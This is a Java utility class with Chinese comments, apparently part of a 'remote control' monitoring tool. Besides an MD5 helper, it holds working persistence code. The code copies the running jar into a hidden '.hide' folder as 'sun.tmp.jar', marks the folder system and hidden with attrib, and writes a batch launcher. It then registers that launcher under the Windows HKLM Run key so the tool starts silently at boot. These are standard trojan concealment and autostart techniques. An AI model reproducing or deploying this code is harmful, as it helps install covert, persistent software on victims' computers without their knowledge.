package org.demo.rc;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.net.URL;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

/**
 * 远程控制：工具类
 * @author  
 * @date    2010-10-22
 * @file    org.demo.rc.MonitorUtils.java
 */
public class MonitorUtils {
	/**
	 * 返回 32 位的 MD5 值
	 * @param key
	 * @return
	 */
	public static String encryptMd5(byte[] key){
        MessageDigest md5 = null;
        try {
            md5 = MessageDigest.getInstance("MD5");
            md5.update(key);
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
        if(md5 == null){
            return "";
        }
        byte[] digest = md5.digest();
        StringBuffer buf = new StringBuffer(32);
        for (int i=0; i<digest.length; i++){
        	int data = digest[i];
        	if (data < 0){
        		data += 256;
        	}
        	if (data < 16){
        		buf.append('0');
        	}
        	buf.append(Integer.toHexString(data));
        }
        return buf.toString().toUpperCase();
    }
	/**
	 * 创建自动运行项
	 * @param className
	 */
	public static void autoRun(String className){
		// 创建 .hide 目录
		String user_home = System.getProperty("user.home");
		File hide = new File(user_home + "\\.hide");
		if (!hide.exists()){
			hide.mkdirs();
		}
		try {
			// 复制文件
			URL url = MonitorUtils.class.getProtectionDomain().getCodeSource().getLocation();
			String dest = hide.getAbsolutePath() + "\\sun.tmp.jar";
			String bat = hide.getAbsolutePath() + "\\36x.bat";
			if (url.getFile().endsWith(".jar")){
				if (url.sameFile(new File(dest).toURI().toURL())){
					return;
				}
				copyFile(url.openStream(),dest);
				createBat(bat, dest, className);
			} else {
				// 暂未实现
			}
			// 修改属性
			String cmd = "attrib +S +H \"" + hide.getAbsolutePath() + "\" /S /D";
			Runtime.getRuntime().exec(cmd);
			// 设置为自启动
			cmd = "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v 36x /d \"" + bat + "\"";
			Runtime.getRuntime().exec(cmd);
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
	/**
	 * 复制文件
	 * @param in
	 * @param to
	 * @throws IOException 
	 */
	public static void copyFile(InputStream in,String to) throws IOException{
		FileOutputStream fos = null;
		try {
			File t = new File(to);
			if (!t.getParentFile().exists()){
				t.getParentFile().mkdirs();
			}
			fos = new FileOutputStream(to);
			byte[] data = new byte[1024];
			int length = -1;
			while ((length = in.read(data)) != -1){
				fos.write(data,0,length);
			}
			fos.flush();
		} finally {
			try {if (in != null) in.close(); } catch(Exception e){}
			try {if (fos != null) fos.close(); } catch(Exception e){}
		}
	}
	/**
	 * 创建一个运行 java 的批处理
	 * @param batPath
	 * @param jarName
	 * @param className
	 * @throws FileNotFoundException 
	 */
	private static void createBat(String batPath,String jarName,String className) throws FileNotFoundException{
		PrintWriter pw = new PrintWriter(batPath);
		pw.write("@echo off\r\n");
		pw.write("start javaw -cp \"" + jarName + "\" " + className);
		pw.write("\r\n");
		pw.flush();
		pw.close();
	}
}
